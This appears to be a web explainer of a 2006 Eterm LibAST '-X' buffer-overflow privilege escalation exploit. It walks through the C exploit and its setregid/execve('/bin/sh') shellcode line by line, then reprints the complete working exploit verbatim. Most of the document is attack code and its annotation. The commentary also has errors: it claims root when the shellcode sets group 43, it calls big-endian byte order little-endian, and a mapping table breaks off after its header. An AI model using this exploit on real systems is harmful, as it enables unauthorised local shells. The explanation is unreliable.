Eterm LibAST < 0.7 '-X' Option Privilege Escalation Explained

Eterm LibAST < 0.7 '-X' Option Privilege Escalation Explained
What this paper is
This paper details a privilege escalation vulnerability in Eterm, a popular X Window System terminal emulator. Specifically, it targets versions of Eterm prior to 0.7. The vulnerability allows a local attacker to execute arbitrary code with root privileges by exploiting how Eterm handles the -X command-line option. The exploit leverages a buffer overflow to overwrite the return address on the stack, redirecting execution to injected shellcode.
Simple technical breakdown
Eterm, when launched with the -X option, expects a specific format of input. This input is processed in a way that doesn't properly validate its length. By providing an overly long string to the -X option, an attacker can overflow a buffer on the stack. This overflow can overwrite critical data, including the return address of the function that processes the input.
The exploit crafts a malicious string that includes:
- Shellcode: This is the actual code the attacker wants to run, typically to spawn a shell.
- Padding: "No-operation" (NOP) instructions and other filler bytes to ensure the shellcode is reached.
- Return Address: A carefully chosen memory address that points to the start of the shellcode. When the vulnerable function returns, it will jump to this address instead of its intended location.
By controlling the return address, the attacker forces the program to execute their shellcode, which in this case is designed to set the user's group ID (GID) and then execute /bin/sh, effectively granting root privileges.
Complete code and payload walkthrough
The provided C code is an exploit for the described vulnerability. Let's break it down:
// eterm by default isn't setuid but there is a lot of instances where
// it needs setuid root/utmp to run different options. /str0ke
/***************************************************************************
* Copyright ©Rosiello Security 2006 *
* *
* URL: http://www.rosiello.org *
* Author: Johnny Mast *
* e-mail: rave@rosiello.org *
* *
* This program is free software; you can redistribute it and/or modify *
* it under the terms of the GNU General Public License as published by *
* the Free Software Foundation; either version 2 of the License, or *
* (at your option) any later version. *
* *
* This program is distributed in the hope that it will be useful, *
* but WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the *
* GNU General Public License for more details. *
* *
* You should have received a copy of the GNU General Public License *
* along with this program; if not, write to the *
* Free Software Foundation, Inc., *
* 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. *
***************************************************************************/
//Exploit for Ubuntu with no randomized stack
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>- Header Comments: These are standard copyright and licensing notices, indicating the software is free and open-source under the GNU GPL. The comment
//Exploit for Ubuntu with no randomized stackis crucial, as it highlights a specific environment where this exploit is likely to work. Stack randomization (ASLR) would make predicting return addresses much harder. - Includes: Standard C libraries for input/output (
stdio.h), memory allocation (stdlib.h), string manipulation (string.h), and POSIX operating system API (unistd.h).
char shellcode[] =
/* Set gid */
"\x90\x90\x90\x90\x90\x90\x90"
"\x31\xdb\x31\xc9\xbb\xff\xff\xff\xff\xb1\x2b\x31\xc0\xb0\x47\xcd\x80"
"\x31\xdb\x31\xc9\xb3\x2b\xb1\x2b\x31\xc0\xb0\x47\xcd\x80"
/* execve() */
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";shellcodeArray: This is the core payload. It's a sequence of bytes representing machine code."\x90\x90\x90\x90\x90\x90\x90": These are NOP (No Operation) instructions. They do nothing but advance the instruction pointer. They are often used as padding to ensure the shellcode is aligned and to create a "landing zone" for the execution flow.- First Block (Set GID):
\x31\xdb:xor ebx, ebx- Clears theebxregister.\x31\xc9:xor ecx, ecx- Clears theecxregister.\xbb\xff\xff\xff\xff:mov ebx, 0xffffffff- Setsebxto -1. This is likely intended forsetgid(0)orsetuid(0)if the syscall number was different, but here it's used with0x47(which isGIDforsetregidorsetgid).\xb1\x2b:mov cl, 0x2b- Sets the lower 8 bits ofecxto0x2b(43). This is likely the target GID.\x31\xc0:xor eax, eax- Clears theeaxregister.\xb0\x47:mov al, 0x47- Sets the lower 8 bits ofeaxto0x47(67). This is the syscall number forsetregid(orsetgidon some systems).\xcd\x80:int 0x80- Triggers a software interrupt to perform the system call. This block aims to set the effective GID to0x2b(43).
- Second Block (Set GID again, possibly for effective/real GID):
\x31\xdb:xor ebx, ebx- Clearsebx.\x31\xc9:xor ecx, ecx- Clearsecx.\xb3\x2b:mov bl, 0x2b- Sets the lower 8 bits ofebxto0x2b(43). This is the target GID.\xb1\x2b:mov cl, 0x2b- Sets the lower 8 bits ofecxto0x2b(43).\x31\xc0:xor eax, eax- Clearseax.\xb0\x47:mov al, 0x47- Setseaxto0x47(67), thesetregidsyscall.\xcd\x80:int 0x80- Executes thesetregidsyscall. This second call withebxandecxset to0x2blikely ensures both real and effective GIDs are set to 43.
- Third Block (execve()):
\xeb\x1f:jmp 0x1f- A short jump. This is part of the shellcode's structure, often used to skip over data or to jump to the main execution part.\x5e:pop esi- Pops the value from the stack intoesi. This is used to get the address of/bin/sh.\x89\x76\x08:mov [esi+0x8], esi- Stores the address of/bin/shat an offset of 8 bytes fromesi. This is setting up the arguments forexecve.\x31\xc0:xor eax, eax- Clearseax.\x88\x46\x07:mov [esi+0x7], al- Sets the byte atesi+0x7to 0. This is likely null-terminating the first argument toexecve.\x89\x46\x0c:mov [esi+0xc], eax- Sets the dword atesi+0xcto 0. This is setting theargvpointer to NULL forexecve.\xb0\x0b:mov al, 0x0b- Setseaxto0x0b(11). This is the syscall number forexecve.\x89\xf3:mov ebx, esi- Moves the address of/bin/sh(now inesi) intoebx.ebxwill hold the path to the executable.\x8d\x4e\x08:lea ecx, [esi+0x8]- Loads the effective address of[esi+0x8]intoecx. This points to the first argument toexecve(which is the command string itself,/bin/sh).\x8d\x56\x0c:lea edx, [esi+0xc]- Loads the effective address of[esi+0xc]intoedx. This points to theargvarray (which is NULL here).\xcd\x80:int 0x80- Executes theexecvesystem call.\x31\xdb:xor ebx, ebx- Clearsebx.\x89\xd8:mov eax, ebx- Setseaxto 0.\x40:inc eax- Incrementseaxto 1. This is likely for a fallbackexitsyscall ifexecvefails.\xcd\x80:int 0x80- Executes theexitsystem call.\xe8\xdc\xff\xff\xff:call -44(relative jump backwards) - This is a common technique to get the address of the string/bin/shwhich immediately follows thecallinstruction. Thecallpushes the address of the next instruction onto the stack, and thenpop esiretrieves it./bin/sh: This is the string literal that will be executed.
unsigned long ret = 0xd096edb7;
unsigned long shell = 0xbfffebfd;ret: This variable holds the target return address on the stack. This address is where the program should jump after the vulnerable function finishes. In this exploit, it's set to0xd096edb7. This address is expected to be within the buffer of NOPs preceding the shellcode, ensuring execution lands on the NOP sled.shell: This variable holds the address where the shellcode is expected to reside in memory.0xbfffebfdis a typical address on the stack for a program running with default configurations on older Linux systems.
int main(void)
{
char *first, *last, *ptr;
char a[4], b[4];
int slen = strlen(shellcode);
if (!(first = (char *)malloc(4165)))
{
printf("%s:%d Could not allocate required memory\n", __FILE__, __LINE__);
exit(-1);
}
if (!(last = (char *)malloc(16)))
{
printf("%s:%d Could not allocate required memory\n", __FILE__, __LINE__);
exit(-1);
}
if (!(ptr = (char *)malloc(4183)))
{
printf("%s:%d Could not allocate required memory\n", __FILE__, __LINE__);
exit(-1);
}- Memory Allocation:
first: Allocated 4165 bytes. This buffer will hold the shellcode and a significant amount of padding.last: Allocated 16 bytes. This buffer will hold more padding.ptr: Allocated 4183 bytes. This buffer will be used to construct the final malicious string that is passed toeterm -X. The total size (4165 + 16 = 4181, plus some overhead for the address bytes) is designed to be large enough to cause the overflow.
strcpy(first, shellcode);
memset(first+slen, 'A', 4162-slen);
memset(last, 'A', 12);
first[4162] = '\0';
last[12] = '\0';- Buffer Population:
strcpy(first, shellcode);: Copies the actual shellcode bytes into thefirstbuffer.memset(first+slen, 'A', 4162-slen);: Fills the rest of thefirstbuffer (up to byte 4162) with 'A' characters. These 'A's act as padding. The total size offirstis 4165, andslenis the length of the shellcode. The remaining space is filled with 'A's.memset(last, 'A', 12);: Fills thelastbuffer with 12 'A's. This is more padding.first[4162] = '\0';: Null-terminates thefirstbuffer at index 4162. This is important because strings in C are null-terminated.last[12] = '\0';: Null-terminates thelastbuffer at index 12.
a[0] = (ret >> 24) & 0xff;
a[1] = (ret >> 16) & 0xff;
a[2] = (ret >> 8) & 0xff;
a[3] = (ret) & 0xff;
b[0] = (shell >> 24) & 0xff;
b[1] = (shell >> 16) & 0xff;
b[2] = (shell >> 8) & 0xff;
b[3] = (shell) & 0xff;- Endianness Conversion: These lines convert the
retandshelladdresses (which are 32-bit unsigned integers) into byte arrays. This is necessary because the stack stores addresses as a sequence of bytes, and the order of these bytes depends on the system's endianness (little-endian or big-endian). The exploit assumes a little-endian system, where the least significant byte comes first.a[0] = (ret >> 24) & 0xff;extracts the most significant byte.a[3] = (ret) & 0xff;extracts the least significant byte.- The exploit then uses
b[3],b[2],b[1],b[0]when constructing the final string, which means it's placing the least significant byte first, confirming a little-endian assumption.
sprintf(ptr, "%s%c%c%c%c%s%c%c%c%c", first,a[0],a[1], a[2], a[3], last,
b[3],b[2],b[1],b[0]);- Constructing the Malicious String:
sprintf(ptr, ...): This function formats and writes the final string into theptrbuffer."%s": Inserts the content of thefirstbuffer (shellcode + padding)."%c%c%c%c": Inserts the bytes of theretaddress, in little-endian order (a[0]toa[3]). This is the crucial part that overwrites the return address on the stack."%s": Inserts the content of thelastbuffer (more padding)."%c%c%c%c": Inserts the bytes of theshelladdress, in reverse order (b[3]tob[0]). This is the actual address of the shellcode. This part is likely intended to overwrite other stack data or potentially the saved frame pointer, but the primary goal is to control the return address.
execl("/usr/bin/Eterm", "eterm", "-X", ptr, NULL);
return 0;
}- Execution:
execl("/usr/bin/Eterm", "eterm", "-X", ptr, NULL);: This is the final step. It replaces the current process with a new one executing/usr/bin/Eterm."/usr/bin/Eterm": The path to the Eterm executable."eterm": The name of the program as it will appear inargv[0]."-X": The vulnerable command-line option.ptr: The crafted malicious string containing the shellcode and overwrite data.NULL: Marks the end of the argument list.
- If
execlis successful, theetermprocess starts with the malicious argument. The vulnerability withinetermis triggered, leading to the execution of the injected shellcode. return 0;: This line is never reached ifexeclsucceeds.
Mapping of code fragments to practical purpose:
| Code Fragment/Block
Original Exploit-DB Content (Verbatim)
// eterm by default isn't setuid but there is a lot of instances where
// it needs setuid root/utmp to run different options. /str0ke
/***************************************************************************
* Copyright ©Rosiello Security 2006 *
* *
* URL: http://www.rosiello.org *
* Author: Johnny Mast *
* e-mail: rave@rosiello.org *
* *
* This program is free software; you can redistribute it and/or modify *
* it under the terms of the GNU General Public License as published by *
* the Free Software Foundation; either version 2 of the License, or *
* (at your option) any later version. *
* *
* This program is distributed in the hope that it will be useful, *
* but WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the *
* GNU General Public License for more details. *
* *
* You should have received a copy of the GNU General Public License *
* along with this program; if not, write to the *
* Free Software Foundation, Inc., *
* 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. *
***************************************************************************/
//Exploit for Ubuntu with no randomized stack
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
char shellcode[] =
/* Set gid */
"\x90\x90\x90\x90\x90\x90\x90"
"\x31\xdb\x31\xc9\xbb\xff\xff\xff\xff\xb1\x2b\x31\xc0\xb0\x47\xcd\x80"
"\x31\xdb\x31\xc9\xb3\x2b\xb1\x2b\x31\xc0\xb0\x47\xcd\x80"
/* execve() */
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long ret = 0xd096edb7;
unsigned long shell = 0xbfffebfd;
int main(void)
{
char *first, *last, *ptr;
char a[4], b[4];
int slen = strlen(shellcode);
if (!(first = (char *)malloc(4165)))
{
printf("%s:%d Could not allocate required memory\n", __FILE__, __LINE__);
exit(-1);
}
if (!(last = (char *)malloc(16)))
{
printf("%s:%d Could not allocate required memory\n", __FILE__, __LINE__);
exit(-1);
}
if (!(ptr = (char *)malloc(4183)))
{
printf("%s:%d Could not allocate required memory\n", __FILE__, __LINE__);
exit(-1);
}
strcpy(first, shellcode);
memset(first+slen, 'A', 4162-slen);
memset(last, 'A', 12);
first[4162] = '\0';
last[12] = '\0';
a[0] = (ret >> 24) & 0xff;
a[1] = (ret >> 16) & 0xff;
a[2] = (ret >> 8) & 0xff;
a[3] = (ret) & 0xff;
b[0] = (shell >> 24) & 0xff;
b[1] = (shell >> 16) & 0xff;
b[2] = (shell >> 8) & 0xff;
b[3] = (shell) & 0xff;
sprintf(ptr, "%s%c%c%c%c%s%c%c%c%c", first,a[0],a[1], a[2], a[3], last,
b[3],b[2],b[1],b[0]);
execl("/usr/bin/Eterm", "eterm", "-X", ptr, NULL);
return 0;
}
// milw0rm.com [2006-01-24]